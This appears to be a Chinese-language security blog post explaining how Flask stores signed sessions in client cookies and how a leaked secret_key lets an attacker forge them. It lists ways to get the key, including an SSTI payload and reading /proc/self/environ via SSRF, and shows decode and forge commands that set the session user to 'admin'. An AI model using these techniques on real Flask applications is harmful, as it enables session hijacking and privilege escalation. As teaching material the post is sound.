web安全-Flask sessions伪造
客户端 Session
一般情况下,在 PHP 开发中,$_SESSION
变量的内容默认会被保存在服务端的一个文件中,并使用一个叫 PHPSESSID
的 Cookie 的值来区分不同用户的 session。由于这类 Session 的内容存储在服务端,所以这类 Session 是 “服务端 Session”,而用户在 Cookie 中看到的只是 Session 的名称(一个随机字符串)。
然而,并不是所有语言都有默认的 Session 存储机制,也不是任何情况下我们都可以向服务器写入文件。比如对于 Flask 框架,就将 Session 存储在了客户端的 Cookie 中。
因为 Cookie 实际上是存储在客户端(浏览器)中的,所以这类 Session 被称为 “客户端 Session”。而将 Session 存储在客户端 Cookie 中,最重要的就是解决 Session 不能被篡改的问题。
Flask 对 Session 的处理机制的主要过程如下:
- json.dumps 将对象转换成 json 字符串,作为数据
- 如果数据压缩后长度更短,则用 zlib 库进行压缩
- 将数据进行 Base64 编码
- 通过 hmac 算法计算数据的签名,将签名附在数据后,并用
.
分割
最后经过 Flask 处理的 Session 字符串的格式为:
1 | json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息 |
Flask Session 伪造
Flask 是把 Session 存在客户端的,而且只经过 Base64 编码和用密钥签名。在进行 Session 的签名时需要用到一个预先设置的全局变量 secret_key
,而如果此时泄露了 secret_key
,攻击者就可以利用泄露的 secret_key
伪造签名,从而伪造出攻击者想要的 Flask Session。
通常情况下获取 secret_key
的方法有以下几种:
- 网站某处泄露获取
- 通过 SSTI 漏洞获取,如
/{{config}}
- 通过 SSRF 读取存在
secret_key
的 Flask 配置文件或读取 /proc/self/environ 获取 - 爆破
解密脚本
1 | # decode.py |
执行
1 | python3 decode.py ".eJw9kMGKwjAURX9leGsXNWM3gguHVKnwXrCkhmQjaqtp2ihUJU7Ef58ig-tzOZd7n7A99vXVwvTW3-sRbJsKpk_42sMUxHJldbStUXki-KYjl0fi84nxC4-u8kLpoGPVEl91mpWJUWtGsmiQL6yWZTJwRp4suYH7IevalHgWjcwZRf0gXjUks1TH9YPipkNVOK3KSO5ncJsGPQbklSefBSN1Sh4jSgzEdRD8MCGWBVwWjeA4g9cIDtf-uL1d2vr8mUDOOmLUolp1QuIv8ZJpubHo5qmQ5TfJNkWFkd61J4bOdGY9e-savzvVH9Ne5aH4J-edHwAEe9n5BkZwv9b9-zgYJ_D6A6rfbpQ.YIf05Q.JSosWcpGNzrOtCqWZPupfztjIwg" |
工具: flask-session-cookie-manager
有了 secret_key
之后,我们便可以开始伪造 Session 了
1 | python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'8bac8deb485e623408faf27f9f0c7d42ece4ed654b01aa549f66ca62ebf0b99413e2676147b519c4175e1dcae360f9fb2c007f6a0e696c31304608787a00db83', 'csrf_token': b'68c7cd1be932456a5a2099575991c35e368626ee', 'image': b'mb0E', 'name': 'admin', 'user_id': '10'}" |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 YTM's Blog!
评论